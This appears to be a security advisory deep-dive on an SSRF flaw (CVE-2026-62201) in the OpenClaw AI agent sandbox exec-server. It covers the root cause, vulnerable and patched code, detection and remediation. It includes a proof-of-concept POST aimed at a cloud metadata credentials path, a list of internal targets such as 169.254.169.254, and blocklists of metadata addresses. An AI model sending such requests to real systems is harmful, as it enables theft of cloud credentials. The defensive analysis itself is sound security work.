
Deep-dive analysis of CVE-2026-62201: OpenClaw sandbox exec-server network policy bypass (SSRF). Root cause, vulnerable vs patched code, exploitation, detection, remediation.
| Field | Value |
|---|
| Advisory | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Product | OpenClaw (npm package openclaw) — sandbox exec-server component |
| Affected | openclaw < 2026.6.6 |
| Patched | 2026.6.6 and later |
| Root cause | Missing SSRF validation in the exec-server's embedded HTTP helper (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Fix commit | 21410d1c — "fix(codex): guard sandbox http requests" |
| Attack vector | HTTP POST to the exec-server's http/request handler with an attacker-controlled URL |
| Impact | Low-privilege caller reaches internal network destinations (cloud metadata, private IPs, localhost services) that OpenClaw network policy should block |
OpenClaw is an AI agent platform whose sandbox exec-server exposes an HTTP request helper that agents use to make outbound web calls. Versions before 2026.6.6 shipped that helper with no SSRF protection: a lower-trust caller — any agent, tool, or input path the platform considers less trusted than a gateway operator — could submit an arbitrary URL and have the exec-server fetch it from inside the host network.
Network policy checks that apply to direct sandbox egress were not applied when requests transited the exec-server HTTP interface. That inconsistency is the vulnerability: the exec-server acted as an unrestricted HTTP proxy into the internal network.
When OpenClaw runs a Codex agent in a sandbox, it starts a local exec-server (extensions/codex/src/app-server/sandbox-exec-server.ts) that hosts JSON-RPC methods over a WebSocket/HTTP transport. One of those methods, http/request, lets the agent fetch URLs. The implementation pipes the request through a small embedded Python script — SANDBOX_HTTP_REQUEST_SCRIPT — which does the actual urllib work.
The request handler lives in extensions/codex/src/app-server/sandbox-exec-server/http.ts.
The Python helper received the URL and only checked the scheme:
# From [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (abridged)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
That is the entire gate. There was:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ was followed blindlyResult: {"method":"GET","url":"http://<internal-host>/"} returned the internal response body to the caller. The exec-server was an open proxy into the host network.
Commit 21410d1c added defense in depth on both layers:
Layer 1 — TypeScript pre-check (assertSandboxHttpRequestTargetAllowed in http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Layer 2 — Python helper hardening (assert_url_allowed in the embedded script):
localhost, localhost.localdomain, metadata.google.internal, plus *.localhost, *.local, *.internal suffixes169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentation 2001:db8::/32, and moreipaddress classification: loopback, private, link-local, multicast, reserved, unspecifiedGuardedRedirectHandler: every redirect hop re-runs assert_url_allowed before it is followed::ffff:a.b.c.d), 6to4 (2002::/16), Teredo, and ISATAP forms are unwrapped and their embedded IPv4 is checkeddef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 with the sandbox exec-server enabledhttp/request (the platform treats this as low-privilege access — e.g. a plugin, a tool, or an input path, not a gateway operator)Step 1 — Post a request targeting an internal service:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Step 2 — Vulnerable response (HTTP 200):
The exec-server fetched the internal URL and returned the body to the caller — base64-wrapped as bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decoded:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Step 3 — Patched response (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
The internal destination is unreachable through the exec-server on patched versions.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → IAM credentialshttp://127.0.0.1:<port>/ to hit co-located unauthenticated management interfacesCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N — 7.7 High
The advisory framing is important: OpenClaw's trusted-operator model assumes gateway operators are trusted. The bug is that a lower-trust surface (plugins, tools, input paths) could reach destinations that policy should have blocked.
A detection template is available — OAST-based, requiring no pre-knowledge of internal topology:
http:
- raw:
- |
POST /exec/http HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"method":"GET","url":"http://{{interactsh-url}}/","headers":[]}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol
words:
- "http"
- type: word
part: body
words:
- "bodyBase64"
Submitted upstream: projectdiscovery/nuclei-templates#17183
/exec/http (or the WebSocket JSON-RPC equivalent) whose JSON body contains a url field pointing at private/internal destinations169.254.169.254, 100.100.100.200)npm install [email protected] (or later). The fix adds full SSRF validation at both the TS boundary and inside the Python helper.2026.6.6This research was conducted against publicly disclosed vulnerability data and software deployed in an isolated lab. No live production systems, third-party networks, or zero-day research are involved. All PoCs used here are harmless read-only requests.